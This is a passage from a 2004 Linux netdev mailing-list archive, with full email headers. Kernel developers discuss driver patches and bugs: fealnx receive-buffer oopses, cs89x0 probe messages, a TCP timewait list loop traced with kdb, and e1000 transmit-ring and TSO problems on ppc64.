+err_out_free: + kfree(tp->RxBufferRings); err_out: return -ENOMEM; } _ From jgarzik@pobox.com Fri Mar 26 18:34:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 18:35:16 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2R2YuKO017898 for ; Fri, 26 Mar 2004 18:34:57 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B6wbo-0001rw-WB; Fri, 26 Mar 2004 19:03:13 +0000 Message-ID: <40647E65.7020903@pobox.com> Date: Fri, 26 Mar 2004 14:03:01 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Sridhar Samudrala CC: Edgar Toernig , davem@redhat.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH] Consolidate multiple implementations of jiffies-msecs conversions. References: <20040326014403.39388cb8.froese@gmx.de> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4286 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1122 Lines: 34 Sridhar Samudrala wrote: > On Fri, 26 Mar 2004, Edgar Toernig wrote: > > >>Sridhar Samudrala wrote: >> >>>The following patch to 2.6.5-rc2 consolidates 6 different implementations >>>of msecs to jiffies and 3 different implementation of jiffies to msecs. >>>All of them now use the generic msecs_to_jiffies() and jiffies_to_msecs() >>>that are added to include/linux/time.h >>>[...] >>>-#define MSECS(ms) (((ms)*HZ/1000)+1) >>>-return (((ms)*HZ+999)/1000); >>>+return (msecs / 1000) * HZ + (msecs % 1000) * HZ / 1000; >> >>Did you check that all users of the new version will work correctly >>with your rounding? Explicit round-up of delays is often required, >>especially when talking to hardware... > > > I don't see any issues with the 2.6 default HZ value of 1000 as they become > no-ops and there is no need for any rounding. > I guess you are referring to cases when HZ < 1000(ex: 100) and msecs is > less than 10. In those cases, the new version returns 0, whereas some of the > older versions return 1. We'll definitely want to return 1 rather than zero, for the uses in my drivers, at least... Jeff From jgarzik@pobox.com Fri Mar 26 18:38:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 18:38:26 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2R2c2KO018252 for ; Fri, 26 Mar 2004 18:38:04 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B73hx-0007IF-7M; Sat, 27 Mar 2004 02:38:01 +0000 Message-ID: <4064E8FC.4090007@pobox.com> Date: Fri, 26 Mar 2004 21:37:48 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Francois Romieu CC: netdev@oss.sgi.com Subject: Re: [PATCH 1/8] 2.6.5-rc2 - sis190 update References: <20040327030853.A30849@electric-eye.fr.zoreil.com> <20040327031131.A31053@electric-eye.fr.zoreil.com> In-Reply-To: <20040327031131.A31053@electric-eye.fr.zoreil.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4287 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 186 Lines: 10 applied to netdev-2.6 queue, so they will show up in -mm soon. We need to be careful, I have not seen any users or hardware for this driver yet. We might just remove it... Jeff From jgarzik@pobox.com Sat Mar 27 11:36:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 27 Mar 2004 11:36:55 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2RJapKO029322 for ; Sat, 27 Mar 2004 11:36:52 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B7Jbu-0002GN-DG; Sat, 27 Mar 2004 19:36:50 +0000 Message-ID: <4065D7C5.8000802@pobox.com> Date: Sat, 27 Mar 2004 14:36:37 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Scott Feldman CC: netdev@oss.sgi.com, linux-kernel@vger.kernel.org, john.ronciak@intel.com, ganesh.venkatesan@intel.com, cramerj@intel.com, ayyappan.veeriayan@intel.com Subject: Re: [PATCH 2.6] Update MAINTAINERS with new e100/e1000/ixgb maintainers References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4288 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 225 Lines: 13 Scott Feldman wrote: > Jeff, Adding John/Ganesh/Ayyappan for e100/e100/ixgb in 2.6. Keeping > myself on for e100 for a couple more 2.6.x releases. Too bad I can't reject this patch :) Will apply. All the best, Jeff From vda@port.imtp.ilyichevsk.odessa.ua Sat Mar 27 13:49:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 27 Mar 2004 13:49:15 -0800 (PST) Received: from port.imtp.ilyichevsk.odessa.ua (168.imtp.Ilyichevsk.Odessa.UA [195.66.192.168] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2RLn8KO003469 for ; Sat, 27 Mar 2004 13:49:09 -0800 Received: (qmail 31507 invoked by alias); 27 Mar 2004 21:28:56 -0000 Received: from unknown (1.0.3.9) by 0 (195.66.192.168) with ESMTP; 27 Mar 2004 21:28:56 -0000 From: Denis Vlasenko To: Jeff Garzik , Francois Romieu Subject: Re: fealnx oopses Date: Sat, 27 Mar 2004 23:28:51 +0200 User-Agent: KMail/1.5.4 Cc: Andreas Henriksson , netdev@oss.sgi.com References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <20040326233514.B26347@electric-eye.fr.zoreil.com> <4064BB35.4050301@pobox.com> In-Reply-To: <4064BB35.4050301@pobox.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403272328.51291.vda@port.imtp.ilyichevsk.odessa.ua> X-archive-position: 4289 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vda@port.imtp.ilyichevsk.odessa.ua Precedence: bulk X-list: netdev Content-Length: 2698 Lines: 72 On Saturday 27 March 2004 01:22, Jeff Garzik wrote: > Francois Romieu wrote: > > Denis Vlasenko : > > [...] > > > >>Yes. But on x86 a++ is atomic vs interrupts - it's a single instruction > >>and interrupts happen on instruction boundaries only. > > > > Do you realize that you are saying that the CPU can atomically increment > > an integer which sits _in memory_ ? > > Sure you can... > > But start_tx() has two variables free_tx_count and > really_tx_count, and about six or seven places those are used. > > And this comment... > > > I can. The problem is, I cannot reproduce oops _without_ patch, > > and this renders testing useless. > > Sounds like it fixes the problem, to me. > > Jeff Okay I can reproduce it now. 16 Mb of RAM and underclock to 125 MHz did the trick ;) Sorry Jeff your patch does not fix my problem. I also verified that it happens this way: (1) rx skb is processed and freed (2) allocation failure for new skb (3) next rx intr occurs, cur_rx->skbuff still == NULL (4) oops I modified code as follows and I did see all these printk()s in sequence: } else { if(np->cur_rx->skbuff == NULL) (3) printk(KERN_ERR "vda: np->cur_rx->skbuff == NULL!\n"); //vda (4) skb_put(skb = np->cur_rx->skbuff, pkt_len); (1) np->cur_rx->skbuff = NULL; if (np->really_rx_count == RX_RING_SIZE) np->lack_rxbuf = np->cur_rx; --np->really_rx_count; } skb->protocol = eth_type_trans(skb, dev); netif_rx(skb); dev->last_rx = jiffies; np->stats.rx_packets++; np->stats.rx_bytes += pkt_len; } if (np->cur_rx->skbuff == NULL) { struct sk_buff *skb; skb = dev_alloc_skb(np->rx_buf_sz); if (skb != NULL) { skb->dev = dev; /* Mark as being used by this device. */ np->cur_rx->buffer = pci_map_single(np->pci_dev, skb->tail, np->rx_buf_sz, PCI_DMA_FROMDEVICE); np->cur_rx->skbuff = skb; ++np->really_rx_count; } else { //vda (2) printk(KERN_ERR "vda: low on mem, cannot allocate skb!\n"); } } -- vda From vda@port.imtp.ilyichevsk.odessa.ua Sat Mar 27 15:04:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 27 Mar 2004 15:04:16 -0800 (PST) Received: from port.imtp.ilyichevsk.odessa.ua (168.imtp.Ilyichevsk.Odessa.UA [195.66.192.168] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2RN4BKO005547 for ; Sat, 27 Mar 2004 15:04:13 -0800 Received: (qmail 31899 invoked by alias); 27 Mar 2004 22:50:35 -0000 Received: from unknown (1.0.3.9) by 0 (195.66.192.168) with ESMTP; 27 Mar 2004 22:50:35 -0000 From: Denis Vlasenko To: Jeff Garzik Subject: Re: [PATCH] Silence cs89x0 Date: Sun, 28 Mar 2004 00:50:30 +0200 User-Agent: KMail/1.5.4 Cc: netdev@oss.sgi.com References: <200403262202.56861.vda@port.imtp.ilyichevsk.odessa.ua> <4064922D.1030306@pobox.com> In-Reply-To: <4064922D.1030306@pobox.com> MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_2UgZAhGI7ZOmqEJ" Message-Id: <200403280050.31010.vda@port.imtp.ilyichevsk.odessa.ua> X-archive-position: 4290 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vda@port.imtp.ilyichevsk.odessa.ua Precedence: bulk X-list: netdev Content-Length: 2247 Lines: 78 --Boundary-00=_2UgZAhGI7ZOmqEJ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline On Friday 26 March 2004 22:27, Jeff Garzik wrote: > Denis Vlasenko wrote: > > This is the most talkative NIC driver in my .config: > > > > cs89x0:cs89x0_probe(0x0) > > PP_addr=0xffff > > eth0: incorrect signature 0xffff > > PP_addr=0xffff > > eth0: incorrect signature 0xffff > > PP_addr=0xffff > > eth0: incorrect signature 0xffff > > PP_addr=0xffff > > eth0: incorrect signature 0xffff > > PP_addr=0xffff > > eth0: incorrect signature 0xffff > > PP_addr=0xffff > > eth0: incorrect signature 0xffff > > PP_addr=0xffff > > eth0: incorrect signature 0xffff > > PP_addr=0xffff > > eth0: incorrect signature 0xffff > > PP_addr=0xffff > > eth0: incorrect signature 0xffff > > PP_addr=0xffff > > eth0: incorrect signature 0xffff > > PP_addr=0xffff > > eth0: incorrect signature 0xffff > > PP_addr=0xffff > > eth0: incorrect signature 0xffff > > cs89x0: no cs8900 or cs8920 detected. Be sure to disable PnP with SETUP > > Not bad, but what about a patch that notices the 0xffff address, and > assumes it won't find anything? It does not access port 0xffff. It tries to say that it probed for hardware and: PP_addr=0xffff - inw(ioaddr + ADD_PORT) returned all foxes eth0: incorrect signature 0xffff - inw(ioaddr + DATA_PORT) returned all foxes, which is not known EISA id. Pretty cryptic :) Maybe this patch? -- vda --Boundary-00=_2UgZAhGI7ZOmqEJ Content-Type: text/x-diff; charset="iso-8859-1"; name="cs89x0.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="cs89x0.diff" --- cs89x0.c.orig Wed Mar 17 22:54:08 2004 +++ cs89x0.c Sun Mar 28 00:48:19 2004 @@ -455,10 +455,11 @@ ioaddr &= ~3; outw(PP_ChipID, ioaddr + ADD_PORT); } -printk("PP_addr=0x%x\n", inw(ioaddr + ADD_PORT)); + printk(KERN_DEBUG "%s: ioaddr=0x%04x PP_addr=0x%04x\n", dev->name, + ioaddr, inw(ioaddr + ADD_PORT)); if (inw(ioaddr + DATA_PORT) != CHIP_EISA_ID_SIG) { - printk(KERN_ERR "%s: incorrect signature 0x%x\n", + printk(KERN_DEBUG "%s: incorrect signature 0x%04x\n", dev->name, inw(ioaddr + DATA_PORT)); retval = -ENODEV; goto out2; --Boundary-00=_2UgZAhGI7ZOmqEJ-- From niv@us.ibm.com Sat Mar 27 15:30:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 27 Mar 2004 15:30:47 -0800 (PST) Received: from e4.ny.us.ibm.com (e4.ny.us.ibm.com [32.97.182.104]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2RNUZKO006780 for ; Sat, 27 Mar 2004 15:30:42 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e4.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2RNUTG9776100; Sat, 27 Mar 2004 18:30:29 -0500 Received: from us.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2RNUPnV107896; Sat, 27 Mar 2004 18:30:26 -0500 Message-ID: <40660DF7.9090806@us.ibm.com> Date: Sat, 27 Mar 2004 15:27:51 -0800 From: Nivedita Singhvi User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en MIME-Version: 1.0 To: David Miller CC: netdev , Elizabeth Kon , jgrimm@us.ibm.com, jgarvey@us.ibm.com Subject: TCP hang in timewait processing Content-Type: text/plain; charset=ISO-8859-1; format=flowed X-MIME-Autoconverted: from 8bit to quoted-printable by e4.ny.us.ibm.com id i2RNUTG9776100 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i2RNUZKO006780 X-archive-position: 4291 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 5046 Lines: 160 Dave, We're investigating a hang in TCP that a clustered node is running into, and I'd appreciate any help whatsoever on this... System is running SLES8 + patches (including latest fixes in timewait stuff) - but is pretty equivalent to mainline 2.4 kernel from what I can tell. Problem is reproducible, takes anywhere from several hours to a day. The hang occurs due to the while in tcp_twkill going into an infinite loop: while((tw = tcp_tw_death_row[tcp_tw_death_row_slot]) != NULL) { tcp_tw_death_row[tcp_tw_death_row_slot] = tw->next_death; if (tw->next_death) tw->next_death->pprev_death = tw->pprev_death; tw->pprev_death = NULL; spin_unlock(&tw_death_lock); tcp_timewait_kill(tw); tcp_tw_put(tw); killed++; spin_lock(&tw_death_lock); } Thanks to some neat detective work by Beth Kon and Joe Garvey, the culprit seems to be a tw node pointing to itself. See attached note from Beth at end. This is possible if a tcp_tw_bucket is freed prematurely before being taken off the death list. If the node is at the head of the list, and is freed and then later reallocated in tcp_time_wait() and reinserted into the list, (now linked to a new sk) it will end up pointing at itself. [There might be other ways to end up like this, but I'm not seeing them] We come into tcp_tw_schedule() (which puts it into the death list) with pprev_death cleared by tcp_time_wait(). tcp_tw_schedule() { if (tw->pprev_death) { ... } else atomic_inc(&tw->refcnt); ... if((tw->next_death = *tpp) != NULL) (*tpp)->pprev_death = &tw->next_death; *tpp = tw; tw->pprev_death = tpp; If tw is at the head of the list, (*tpp == tw), then we just created a loop of tw->next_death pointing at tw. If tw is in other places on the death list, we could potentially have Y-shaped chains and other garbage... Does that seem correct, or am I barking up the wrong tree here? Just checking at this point for a node pointing to itself is rather late - the damage has been done in losing the original linkages from the tcp_tw_bucket to the other structures which we need to remove as well, so as to not cause a further mess in the hash table and death list pointers. So the question is, is there any path that leads to us erroneously freeing tcp_tw_bucket without taking it off the death list? I've been looking at the tw refcount manipulation and am trying to identify any possible gratuitous tcp_tw_put() calls, but haven't successfully isolated any one yet. Any ideas, pointers would be very much appreciated! thanks, Nivedita --- From Beth Kon: I see what is going on here... not sure how it got to this state. Joe Garvey did excellent work gathering kdb info (and graciously taught me a lot as he went along) and confirming that the while loop in tcp_twkill is in an infinite loop. Here is the code in tcp_twkill that is in an infinite loop: while((tw = tcp_tw_death_row[tcp_tw_death_row_slot]) != NULL) { tcp_tw_death_row[tcp_tw_death_row_slot] = tw->next_death; if (tw->next_death) tw->next_death->pprev_death = tw->pprev_death; tw->pprev_death = NULL; spin_unlock(&tw_death_lock); tcp_timewait_kill(tw); tcp_tw_put(tw); killed++; spin_lock(&tw_death_lock); } Using the data Joe gathered, here is what I see... [0]kdb> rd eax = 0x00000001 ebx = 0xc50a7840 ecx = 0xdf615478 edx = 0x00000001 esi = 0x061c3332 edi = 0x00000000 esp = 0xc03e7f10 eip = 0xc02be950 ebp = 0x00000000 xss = 0xc02e0018 xcs = 0x00000010 eflags = 0x00000282 xds = 0x00000018 xes = 0x00000018 origeax = 0xffffffff ®s = 0xc03e7edc In the above register dump, the pointer to the tw being handled in the tcp_twkill loop is in ebx. The contents of the tw struct (annotated by me) are: [0]kdb> mds %ebx tw 0xc50a7840 260f3c09 .<.& daddr 0xc50a7844 6d0f3c09 .<.m rcv_saddr 0xc50a7848 8200a3e5 å£.. dport, num 0xc50a784c 00000000 .... bound_dev_if 0xc50a7850 00000000 .... next 0xc50a7854 00000000 .... pprev 0xc50a7858 00000000 .... bindnext 0xc50a785c c26dcbc8 ÈËm bind_pprev [0]kdb> 0xc50a7860 00820506 .... state, substate, sport 0xc50a7864 00000002 .... family 0xc50a7868 f9e3ccd0 ÐÌãù refcnt 0xc50a786c 00002a8f .*.. hashent 0xc50a7870 00001770 p... timeout 0xc50a7874 d4ad3cee î<­Ô rcv_next 0xc50a7878 878fe09e .à.. send_next 0xc50a787c 000016d0 Ð... rcv_wnd [0]kdb> 0xc50a7880 00000000 .... ts_recent 0xc50a7884 00000000 .... ts_recent_stamp 0xc50a7888 000353c1 ÁS.. ttd 0xc50a788c 00000000 .... tb 0xc50a7890 c50a7840 @x.Å next_death 0xc50a7894 00000000 .... pprev_death 0xc50a7898 00000000 .... 0xc50a789c 00000000 .... The above shows that next_death in the structure == ebx. Which means this element of the linked list is pointing to itself. So it in an infinite loop. Assuming this is the last element on the linked list, next_death should be null. From romieu@fr.zoreil.com Sat Mar 27 15:58:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 27 Mar 2004 15:58:24 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2RNwKKO007949 for ; Sat, 27 Mar 2004 15:58:20 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2RNtYgf008491; Sun, 28 Mar 2004 00:55:34 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2RNtX7I008490; Sun, 28 Mar 2004 00:55:33 +0100 Date: Sun, 28 Mar 2004 00:55:33 +0100 From: Francois Romieu To: Denis Vlasenko Cc: Jeff Garzik , Andreas Henriksson , netdev@oss.sgi.com Subject: Re: fealnx oopses Message-ID: <20040328005533.A6117@electric-eye.fr.zoreil.com> References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <20040326233514.B26347@electric-eye.fr.zoreil.com> <4064BB35.4050301@pobox.com> <200403272328.51291.vda@port.imtp.ilyichevsk.odessa.ua> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200403272328.51291.vda@port.imtp.ilyichevsk.odessa.ua>; from vda@port.imtp.ilyichevsk.odessa.ua on Sat, Mar 27, 2004 at 11:28:51PM +0200 X-Organisation: Land of Sunshine Inc. X-archive-position: 4292 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 4272 Lines: 143 Denis Vlasenko : [...] > Sorry Jeff your patch does not fix my problem. > I also verified that it happens this way: > (1) rx skb is processed and freed > (2) allocation failure for new skb > (3) next rx intr occurs, cur_rx->skbuff still == NULL > (4) oops Your previous analysis made sense: the logic responsible for low memory handling is broken in several ways. Patch against2.6.5-rc2-mm3 below, without warranty --- drivers/net/fealnx.c 2004-03-28 00:44:27.000000000 +0100 +++ drivers/net/fealnx.c 2004-03-28 00:52:46.000000000 +0100 @@ -1134,15 +1134,17 @@ static void allocate_rx_buffers(struct n struct sk_buff *skb; skb = dev_alloc_skb(np->rx_buf_sz); - np->lack_rxbuf->skbuff = skb; - if (skb == NULL) break; /* Better luck next round. */ + while (np->lack_rxbuf->skbuff) + np->lack_rxbuf = np->lack_rxbuf->next_desc_logical; + np->lack_rxbuf->skbuff = skb; + skb->dev = dev; /* Mark as being used by this device. */ np->lack_rxbuf->buffer = pci_map_single(np->pci_dev, skb->tail, np->rx_buf_sz, PCI_DMA_FROMDEVICE); - np->lack_rxbuf = np->lack_rxbuf->next_desc_logical; + np->lack_rxbuf->status = RXOWN; ++np->really_rx_count; } } @@ -1380,33 +1382,22 @@ static int start_tx(struct sk_buff *skb, return 0; } - -void free_one_rx_descriptor(struct netdev_private *np) -{ - if (np->really_rx_count == RX_RING_SIZE) - np->cur_rx->status = RXOWN; - else { - np->lack_rxbuf->skbuff = np->cur_rx->skbuff; - np->lack_rxbuf->buffer = np->cur_rx->buffer; - np->lack_rxbuf->status = RXOWN; - ++np->really_rx_count; - np->lack_rxbuf = np->lack_rxbuf->next_desc_logical; - } - np->cur_rx = np->cur_rx->next_desc_logical; -} - - void reset_rx_descriptors(struct net_device *dev) { struct netdev_private *np = dev->priv; + struct fealnx_desc *cur = np->cur_rx; + int i; stop_nic_rx(dev->base_addr, np->crvalue); - while (!(np->cur_rx->status & RXOWN)) - free_one_rx_descriptor(np); - allocate_rx_buffers(dev); + for (i = 0; i < RX_RING_SIZE; i++) { + if (cur->skbuff) + cur->status = RXOWN; + cur = cur->next_desc_logical; + } + writel(np->rx_ring_dma + (np->cur_rx - np->rx_ring), dev->base_addr + RXLBA); writel(np->crvalue, dev->base_addr + TCRRCR); @@ -1576,7 +1567,7 @@ static int netdev_rx(struct net_device * struct netdev_private *np = dev->priv; /* If EOP is set on the next entry, it's a new packet. Send it up. */ - while (!(np->cur_rx->status & RXOWN)) { + while (!(np->cur_rx->status & RXOWN) && np->cur_rx->skbuff) { s32 rx_status = np->cur_rx->status; if (np->really_rx_count == 0) @@ -1628,8 +1619,15 @@ static int netdev_rx(struct net_device * np->stats.rx_length_errors++; /* free all rx descriptors related this long pkt */ - for (i = 0; i < desno; ++i) - free_one_rx_descriptor(np); + for (i = 0; i < desno; ++i) { + if (!np->cur_rx->skbuff) { + printk(KERN_DEBUG + "%s: I'm scared\n", dev->name); + break; + } + np->cur_rx->status = RXOWN; + np->cur_rx = np->cur_rx->next_desc_logical; + } continue; } else { /* something error, need to reset this chip */ reset_rx_descriptors(dev); @@ -1679,8 +1677,6 @@ static int netdev_rx(struct net_device * PCI_DMA_FROMDEVICE); skb_put(skb = np->cur_rx->skbuff, pkt_len); np->cur_rx->skbuff = NULL; - if (np->really_rx_count == RX_RING_SIZE) - np->lack_rxbuf = np->cur_rx; --np->really_rx_count; } skb->protocol = eth_type_trans(skb, dev); @@ -1689,25 +1685,7 @@ static int netdev_rx(struct net_device * np->stats.rx_packets++; np->stats.rx_bytes += pkt_len; } - - if (np->cur_rx->skbuff == NULL) { - struct sk_buff *skb; - - skb = dev_alloc_skb(np->rx_buf_sz); - - if (skb != NULL) { - skb->dev = dev; /* Mark as being used by this device. */ - np->cur_rx->buffer = pci_map_single(np->pci_dev, - skb->tail, - np->rx_buf_sz, - PCI_DMA_FROMDEVICE); - np->cur_rx->skbuff = skb; - ++np->really_rx_count; - } - } - - if (np->cur_rx->skbuff != NULL) - free_one_rx_descriptor(np); + np->cur_rx = np->cur_rx->next_desc_logical; } /* end of while loop */ /* allocate skb for rx buffers */ From anton@samba.org Sat Mar 27 16:37:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 27 Mar 2004 16:37:58 -0800 (PST) Received: from lists.samba.org (dp.samba.org [66.70.73.150]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2S0bsKO012300 for ; Sat, 27 Mar 2004 16:37:54 -0800 Received: by lists.samba.org (Postfix, from userid 504) id 47B2D2C0B1; Sun, 28 Mar 2004 00:38:01 +0000 (GMT) Date: Sun, 28 Mar 2004 10:37:07 +1000 From: Anton Blanchard To: Jeff Garzik Cc: Scott Feldman , netdev@oss.sgi.com, linux-kernel@vger.kernel.org, john.ronciak@intel.com, ganesh.venkatesan@intel.com, cramerj@intel.com, ayyappan.veeriayan@intel.com Subject: Re: [PATCH 2.6] Update MAINTAINERS with new e100/e1000/ixgb maintainers Message-ID: <20040328003707.GP27747@krispykreme> References: <4065D7C5.8000802@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4065D7C5.8000802@pobox.com> User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 4293 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: anton@samba.org Precedence: bulk X-list: netdev Content-Length: 400 Lines: 15 On Sat, Mar 27, 2004 at 02:36:37PM -0500, Jeff Garzik wrote: > Scott Feldman wrote: > >Jeff, Adding John/Ganesh/Ayyappan for e100/e100/ixgb in 2.6. Keeping > >myself on for e100 for a couple more 2.6.x releases. > > > Too bad I can't reject this patch :) > > Will apply. All the best, Scott has been great to work with on ppc64/e1000 issues over the years. We are sorry to see him go. Anton From anton@samba.org Sat Mar 27 18:01:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 27 Mar 2004 18:01:25 -0800 (PST) Received: from lists.samba.org (dp.samba.org [66.70.73.150]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2S214KO015084 for ; Sat, 27 Mar 2004 18:01:04 -0800 Received: by lists.samba.org (Postfix, from userid 504) id 105642C0B1; Sun, 28 Mar 2004 01:16:10 +0000 (GMT) Date: Sun, 28 Mar 2004 11:10:52 +1000 From: Anton Blanchard To: netdev@oss.sgi.com Cc: cramerj@intel.com, john.ronciak@intel.com, Ganesh.Venkatesan@intel.com, jk@ozlabs.org, olof@austin.ibm.com Subject: e1000 issues Message-ID: <20040328011052.GQ27747@krispykreme> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="45Z9DzgjV8m4Oswq" Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 4294 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: anton@samba.org Precedence: bulk X-list: netdev Content-Length: 7494 Lines: 253 --45Z9DzgjV8m4Oswq Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi, Welcome to the new e1000 guys. Here is our current ppc64+2.6+e1000 hitlist (apologies to those who have received this before): - We can wrap around the tx ring and start overwriting valid entries. On ppc64 that means we leak IOMMU entries and eventually run out of them. Olof Johansson debugged this problem and provided the attached fix (e1000_tx_wraparound). - TSO HW workaround doesnt seem to be working. In TSO mode, some e1000s report DMA complete too early. There is a workaround in the current driver: #ifdef NETIF_F_TSO /* Workaround for premature desc write-backs * in TSO mode. Append 4-byte sentinel desc */ if(mss && f == (nr_frags-1) && size == len && size > 8) size -= 4; #endif However we were still getting card lockups so Jeremy put together a patch based on our original workaround when we first found the bug (e1000_tso_hack). Basically it keeps a one entry cache of skbs and pci mappings and always frees the second to last one. Yes its a hack and it will leak skbs and IOMMU entries but with it applied we no longer see any problems. BTW I wonder if this is the problem Scott mentioned in his checkin comment to disable TSO by default on e1000 2.6. - e1000 tx spinlock is extremely painful. Heres a web benchmark run with 2.6 BK (numbers are in %): 9.7149 e1000_xmit_frame 4.2336 tcp_v4_rcv 3.9495 skb_release_data 3.8244 qdisc_restart 3.5437 iommu_free Heres the profile after I backed the tx spinlock patch out (attached): 6.4075 pci_iommu_map_single 4.3752 tcp_v4_rcv 4.1046 skb_release_data 3.8190 iommu_free 3.7119 default_idle 3.6749 qdisc_restart 3.4538 iommu_alloc 2.0153 do_tcp_sendpages 1.8828 __d_lookup 1.7772 e1000_clean_tx_irq 1.7654 atomic_dec_and_lock 1.7354 e1000_xmit_frame And performance improved. Olof had suggestions for how to work around this problem without incurring the cost of a spinlock. Anton --45Z9DzgjV8m4Oswq Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=e1000_tx_wraparound Fix from Olof Johansson to avoid overwriting valid tx ring entries. diff -urN linux-2.5/drivers/net/e1000/e1000_main.c ameslab-2.5/drivers/net/e1000/e1000_main.c --- linux-2.5/drivers/net/e1000/e1000_main.c 2004-03-09 14:32:14.000000000 +1100 +++ ameslab-2.5/drivers/net/e1000/e1000_main.c 2004-02-27 00:45:41.000000000 +1100 @@ -1582,7 +1582,7 @@ i = 